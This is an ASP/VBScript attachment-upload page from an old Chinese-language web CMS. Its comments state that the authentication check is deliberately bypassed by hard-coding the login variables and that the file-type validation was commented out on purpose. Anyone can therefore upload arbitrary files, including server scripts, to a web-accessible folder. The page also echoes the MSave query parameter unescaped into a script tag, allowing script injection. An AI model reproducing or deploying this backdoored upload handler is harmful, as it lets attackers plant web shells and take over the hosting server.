﻿<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Response.CodePage=65001%>
<% Response.Charset="UTF-8" %>
<!--#include file="function.asp" -->
<!--#include file="upfile.asp" -->
<%
'==================================
'  附件上传页面
'    更新时间: 2005-10-20
'==================================
On Error Resume Next
%>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript" src="sendto.js"></script>
<style>
  .attachmentBody{
  margin:0px;font-size:12px;background:#F8F6E9
  }
 .inputBox{border:1px solid;border-color:#9E9234 #fff #fff #9E9234;font-size:12px;font-family: Verdana, Arial, Helvetica, sans-serif;}
 .inputBox:hover,.inputBox:focus{border-color:#9E9234;background:#FFFFEE}
 .userbutton{border:1px solid;border-color:#fff #9E9234 #9E9234 #fff;height:22px;padding:0px 5px 2px 5px !important;padding:3px 2px 0px 2px;background:#E3CE96 url(menu_main.jpg) 0px -30px;}
</style>
</head>
<body class="attachmentBody">
<%
'下面几句用来绕过身份验证
  stat_FileUpLoad=true
  memName="notempty"
  UP_FileSize=1024000000 '附件大小
  
  Server.ScriptTimeOut = 999
  IF stat_FileUpLoad=true and memName<>empty Then
  IF Request.QueryString("action")="upload" Then
Dim upl,FSOIsOK
		FSOIsOK=1
Set upl=Server.CreateObject("Scripting.FileSystemObject")
		If Err<>0 Then
			Err.Clear
			FSOIsOK=0
		End If
		Dim D_Name,F_Name
		If FSOIsOK=1 Then
			D_Name="month_"&DateToStr(Now(),"ym")
			If upl.FolderExists(Server.MapPath("attachments/"&D_Name))=False Then
				upl.CreateFolder Server.MapPath("attachments/"&D_Name)
			End If
		Else
			D_Name="All_Files"
		End If
		Set upl=Nothing
Dim FileUP
Set FileUP=New Upload_File
FileUP.GetDate(-1)
Dim F_File,F_Type
Set F_File=FileUP.File("File")
F_Name=randomStr(1)&Year(now)&Month(now)&Day(now)&Hour(now)&Minute(now)&Second(now)&"."&F_File.FileExt
F_Type=FixName(F_File.FileExt)
IF F_File.FileSize > Int(UP_FileSize) Then
	Response.Write("<div style=""padding:6px""><a href='upload.asp1'>文件大小超出，请返回重新上传</a></div>")
'ElseIF IsvalidFile(UCase(F_Type)) = False Then
	'Response.Write("<div style=""padding:6px""><a href='upload.asp2'>文件格式非法，请返回重新上传</a></div>")
	'Response.Write(F_Type) '测试使用'注释掉这几句是因为需要屏蔽掉文件类型检查
Else
	F_File.SaveAs Server.MapPath("attachments/"&D_Name&"/"&F_Name)
	response.write "<script>addUploadItem('"&F_Type&"','attachments/"&D_Name&"/"&F_Name&"',"&Request.QueryString("MSave")&")</script>"
	Response.Write("<div style=""padding:6px""><a href='upload.asp'>文件上传成功，请返回继续上传</a></div>")
End IF
		Set F_File=Nothing
		Set FileUP=Nothing
Response.Write("</td>")
Else
%>
<script>
 function MSave(o){
  if (o.checked) {
    document.forms["frm"].action="upload.asp?action=upload&MSave=1"
  }
  else
  {
    document.forms["frm"].action="upload.asp?action=upload&MSave=0"
  }
 }
</script>
<%
Response.Write("<form name=""frm"" enctype=""multipart/form-data"" method=""post"" action=""upload.asp?action=upload&MSave=0""><input name=""File"" type=""File"" size=""28"" style=""font-size:12px;border-width:1px"">&nbsp;<input type=""Submit"" name=""Submit"" value=""确定上传"" class=""userbutton""> <a href='../info/cgi.asp?catid=52' target='_blank'>查看帮助</a></form>")
End IF
Else
Response.Write("<div style=""padding:6px;color:#f00"">对不起，你没有权限上传附件！</div>")
End IF
%>
